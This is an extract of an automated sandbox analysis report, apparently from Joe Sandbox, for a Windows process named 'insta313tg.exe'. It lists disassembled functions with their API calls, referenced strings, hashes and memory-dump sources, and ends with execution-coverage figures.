Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 004a402ec90159654e0f9c24e0e069453512d6831d079bea76122ea97e4b0f91
Instruction ID: 7f14ec8def587734ffe5ea5d0ef2c0cc1b72ef8738f6f01ab06a685ce0dbca25
Opcode Fuzzy Hash: 004a402ec90159654e0f9c24e0e069453512d6831d079bea76122ea97e4b0f91
Instruction Fuzzy Hash: 4441C532B18A80C2FE509B25E5217EB67A0F7857E4F904239AE99477D8DF38C65B9700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C1EA4 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000013F2C1EF7
WideCharToMultiByte.KERNEL32 ref: 000000013F2C1FC9
GetLastError.KERNEL32 ref: 000000013F2C1FEC
_invalid_parameter_noinfo.LIBCMT ref: 000000013F2C201E

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: 2b668bd76d14f2f8ab0dd80881aece6f30b53a7b9c8b08ad1738bf6dbfe99615
Instruction ID: 2c032eb1134c560704c99b81831471e91f42daa147ea46618ddd15f8762cc826
Opcode Fuzzy Hash: 2b668bd76d14f2f8ab0dd80881aece6f30b53a7b9c8b08ad1738bf6dbfe99615
Instruction Fuzzy Hash: 12418132A05780C6FF669BD1D4423EFA6A0EB91B90F248139AE9547BD5DB38CB43C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B15BC Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 000000013F2B15E8
GetLastError.KERNEL32 ref: 000000013F2B1634
CreateDirectoryW.KERNEL32 ref: 000000013F2B1732
LocalFree.KERNEL32 ref: 000000013F2B1742

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
String ID:
API String ID: 1077098981-0
Opcode ID: 89aec809eb9690fe9fba61a2fc97109527246afc4c8b767d9020daae6fbe8891
Instruction ID: 620fd2e759615ed65b5b91bd9bde9d437819ddf12a268d777edb77a4faa5c3c0
Opcode Fuzzy Hash: 89aec809eb9690fe9fba61a2fc97109527246afc4c8b767d9020daae6fbe8891
Instruction Fuzzy Hash: CE418C32A54B85CAEB508F61E8447DE73B4F788B84F54412AEE4A57B58DF38CA46CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C5028 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,000000013F2C08FF), ref: 000000013F2C5041
WideCharToMultiByte.KERNEL32 ref: 000000013F2C50A3
WideCharToMultiByte.KERNEL32 ref: 000000013F2C50DD
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,000000013F2C08FF), ref: 000000013F2C5107

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: f754b3c0f73671a64fdde6fc3cc89888f9baca1484c97dc4fe5d3377623ca749
Instruction ID: 03c5c9d14728a4a7527a6c55086d69992bce7f8e38319efe02faf503d82aea99
Opcode Fuzzy Hash: f754b3c0f73671a64fdde6fc3cc89888f9baca1484c97dc4fe5d3377623ca749
Instruction Fuzzy Hash: 60216F31A14B90C5EA209F56A44139AA7A4B798FD0F094239DE8A63B99DF39C5538740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C18E0 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000000013F2BC2A0,?,?,?,000000013F2BE0AD), ref: 000000013F2C18EA
SetLastError.KERNEL32(?,?,?,000000013F2BC2A0,?,?,?,000000013F2BE0AD), ref: 000000013F2C1952
SetLastError.KERNEL32(?,?,?,000000013F2BC2A0,?,?,?,000000013F2BE0AD), ref: 000000013F2C1968
abort.LIBCMT ref: 000000013F2C196E

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 16ef91d77399283022708bf6f8e7f3e0043e0f0d104acb271ab332d9967888b4
Instruction ID: c341079083eca202e174bde8a8e46928d82ce6067d26b718bbd9893725afa085
Opcode Fuzzy Hash: 16ef91d77399283022708bf6f8e7f3e0043e0f0d104acb271ab332d9967888b4
Instruction Fuzzy Hash: B0017C30F01640C2FE5CA7F596567EF52919B48B94F15053CA95A07BC6EE28CB478210

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A5834 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2A5BC8: ResetEvent.KERNEL32 ref: 000000013F2A5BE1
Part of subcall function 000000013F2A5BC8: ReleaseSemaphore.KERNEL32 ref: 000000013F2A5BF7

ReleaseSemaphore.KERNEL32 ref: 000000013F2A5860
CloseHandle.KERNEL32 ref: 000000013F2A587F
DeleteCriticalSection.KERNEL32 ref: 000000013F2A5896
CloseHandle.KERNEL32 ref: 000000013F2A58A3

Part of subcall function 000000013F2A5948: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,000000013F2A584B,?,?,?,000000013F29E25A,?,?,?), ref: 000000013F2A594F
Part of subcall function 000000013F2A5948: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,000000013F2A584B,?,?,?,000000013F29E25A,?,?,?), ref: 000000013F2A595A

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 7880f0b9577ac6633197cb0e93d477d959873e5e5245d2c1684bbdee791a0292
Instruction ID: baf8ae085f37b6c3519714998aaa9868f3aeb8cef964a83deeba17bf268b482d
Opcode Fuzzy Hash: 7880f0b9577ac6633197cb0e93d477d959873e5e5245d2c1684bbdee791a0292
Instruction Fuzzy Hash: 08011E33A25E90E7FA489B61E95539EB331F788B90F044025DB5A03625CF75E6B6C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B0B78 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 000000013F2B0B80
GetDeviceCaps.GDI32 ref: 000000013F2B0B96
GetDeviceCaps.GDI32 ref: 000000013F2B0BAA
ReleaseDC.USER32 ref: 000000013F2B0BBB

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: cd249567d5fc9b2bd0d19825638c6a62b7ba7040ad7c9854edbab099c08aa467
Instruction ID: 35a556951950345981a9c2c0ed4c054b336210e546cf6ff8aa88d08f06230c3f
Opcode Fuzzy Hash: cd249567d5fc9b2bd0d19825638c6a62b7ba7040ad7c9854edbab099c08aa467
Instruction Fuzzy Hash: 25E01270E45B06C2EF189B75681935615A0BB58741F14443E8C2B473A4DE3DC547C704

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C253C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000013F2C257F

Strings

e+000, xrefs: 000000013F2C2627
gfff, xrefs: 000000013F2C26AA

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: d9a94c966112591baecd8cfaba2ee9b013493ec1dad2214d9841388033714fe1
Instruction ID: 52549d4699cb26cba003cc86068c2d8dcfe91077b2e71882001db2b76b798e90
Opcode Fuzzy Hash: d9a94c966112591baecd8cfaba2ee9b013493ec1dad2214d9841388033714fe1
Instruction Fuzzy Hash: CC513672B147C4C6EB258F7999413DB6B91E381B90F089239CB9887BE6CF2DC546C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29F630 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,000000013F29D452,?,?,?,?,?,?,?,000000013F29C5D2), ref: 000000013F29F722

Strings

\\?\, xrefs: 000000013F29F6A8, 000000013F29F6F1, 000000013F29F769, 000000013F29F7B9
UNC, xrefs: 000000013F29F703

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CurrentDirectory
String ID: UNC$\\?\
API String ID: 1611563598-253988292
Opcode ID: 610a7e57783d330e900d96691c6462c34e192da23002dbdcd8be488447dfc4da
Instruction ID: bdcbad8ccb195a89fbedcbcac910195c49bd7d2b8df95c1fa8ea2075e6c4c2b0
Opcode Fuzzy Hash: 610a7e57783d330e900d96691c6462c34e192da23002dbdcd8be488447dfc4da
Instruction Fuzzy Hash: 57419576E05280C1FEA0AB61D5113EF67A1BB45BC4F45803EDD194B6AAEF68C757C302

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29D7C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2A5E64: GetSystemTime.KERNEL32 ref: 000000013F2A5E81
Part of subcall function 000000013F2A5E64: SystemTimeToFileTime.KERNEL32 ref: 000000013F2A5E91

GetCurrentProcessId.KERNEL32 ref: 000000013F29D82F
swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F29D89E

Strings

%u.%03u, xrefs: 000000013F29D88D

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Time$System$CurrentFileProcessswprintf
String ID: %u.%03u
API String ID: 7918461-1114938957
Opcode ID: 0339fca6f3e76c0bbacb09d0089dfae5a3832e89d900cb471cb2f837f4fc2496
Instruction ID: ba502f372183500d84c86437edcc9d0ba87cc951152e89c3e710cb3226c51009
Opcode Fuzzy Hash: 0339fca6f3e76c0bbacb09d0089dfae5a3832e89d900cb471cb2f837f4fc2496
Instruction Fuzzy Hash: C221A832B14684CAEA10EB75E9413DB6290F7887C0F940139AE8D8B796EA38D6178740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A1884 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2A1911

Part of subcall function 000000013F2A6948: WideCharToMultiByte.KERNEL32 ref: 000000013F2A6979

Strings

$%s, xrefs: 000000013F2A18FE
@%s, xrefs: 000000013F2A18F5

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: bbb8d02e22d8a129956493a4e00a66c4dddf6103d93e0c354bcf6e5b54040a6b
Instruction ID: c11309f100c0548d36c7091edbd91b104e195499f8531eed19743fbd5751f46b
Opcode Fuzzy Hash: bbb8d02e22d8a129956493a4e00a66c4dddf6103d93e0c354bcf6e5b54040a6b
Instruction Fuzzy Hash: 8F31A972A01A41D5FF209F69E4407EA6760F745798F80103AEE4D07BA9DE38CB0BCB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C2FE8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000000013F2C305A
GetFileType.KERNEL32 ref: 000000013F2C3070

Strings

@, xrefs: 000000013F2C309B

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 19b25201cd048e3610150cd041767a6cc9c18e2f53e4e5ad94b6b0a54806eae3
Instruction ID: efc04864a603fdc69e6599569317d08f5c2da26aea567ab6a631819bdbd09ff0
Opcode Fuzzy Hash: 19b25201cd048e3610150cd041767a6cc9c18e2f53e4e5ad94b6b0a54806eae3
Instruction Fuzzy Hash: A9217133A04B80C1EF648B65A8D47AA2651E745B74F2A173DD66A077E4CA35CE83C341

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B8FC8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,000000013F2B658A), ref: 000000013F2B900C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000000013F2B658A), ref: 000000013F2B9052

Strings

csm, xrefs: 000000013F2B903F

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: c2fd1e23ba378c3f0c29f0fef5388ea02fe57b74af0b7d3051705ddd8690358c
Instruction ID: 10266beb06d814207fbc7004a26fd3b08771485521e3817efb15e4678d52063d
Opcode Fuzzy Hash: c2fd1e23ba378c3f0c29f0fef5388ea02fe57b74af0b7d3051705ddd8690358c
Instruction Fuzzy Hash: 41111C32614B84C2EB218F16F44039A77A5F788B94F184629EF8D07768DF3DCA52CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A5948 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,000000013F2A584B,?,?,?,000000013F29E25A,?,?,?), ref: 000000013F2A594F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,000000013F2A584B,?,?,?,000000013F29E25A,?,?,?), ref: 000000013F2A595A

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 000000013F2A5964

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1211598281-2248577382
Opcode ID: 4ee0e10abfb07af31fa03507a44e01225ea2c88327e87d6fea58f9efe9c9d896
Instruction ID: 4b8c829e1c5b7a255b3b053ffa784f08369d2bab36e5e64d627f18046ca038ac
Opcode Fuzzy Hash: 4ee0e10abfb07af31fa03507a44e01225ea2c88327e87d6fea58f9efe9c9d896
Instruction Fuzzy Hash: B6E0B631E02940C1FA44AB75EC823DB2221AB61770FE44339E439865F59B2CC79BC741

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A24D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,000000013F2A1AC2), ref: 000000013F2A24E3
FindResourceW.KERNEL32(?,?,?,000000013F2A1AC2), ref: 000000013F2A24F9

Strings

RTL, xrefs: 000000013F2A24EF

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 060aac376ff9500f96b7631082418d81147b30c95d997cfc0faa78073afdc2ec
Instruction ID: b95bf6e4440b1fb2208666c1dae0c0c1215c25a2791d78d25fa5cc04b75e0967
Opcode Fuzzy Hash: 060aac376ff9500f96b7631082418d81147b30c95d997cfc0faa78073afdc2ec
Instruction Fuzzy Hash: AED05E71F05784C6FF198BB2A8453A612506719F51F89043C8C5A0A384EF6CC29BC711

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: insta313tg.exePID: 2604, Parent PID: 3268COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	99.2%
Signature Coverage:	2.5%
Total number of Nodes:	359
Total number of Limit Nodes:	40

Executed Functions

Function 043F0048 Relevance: 41.9, Strings: 32, Instructions: 1851COMMON

Download Yara Rule

Strings

>Y, xrefs: 043F10C6
9Y, xrefs: 043F0EDC
>Y, xrefs: 043F0FFB
D<Y, xrefs: 043F0FCE
>Y, xrefs: 043F1071
D<Y, xrefs: 043F0F09
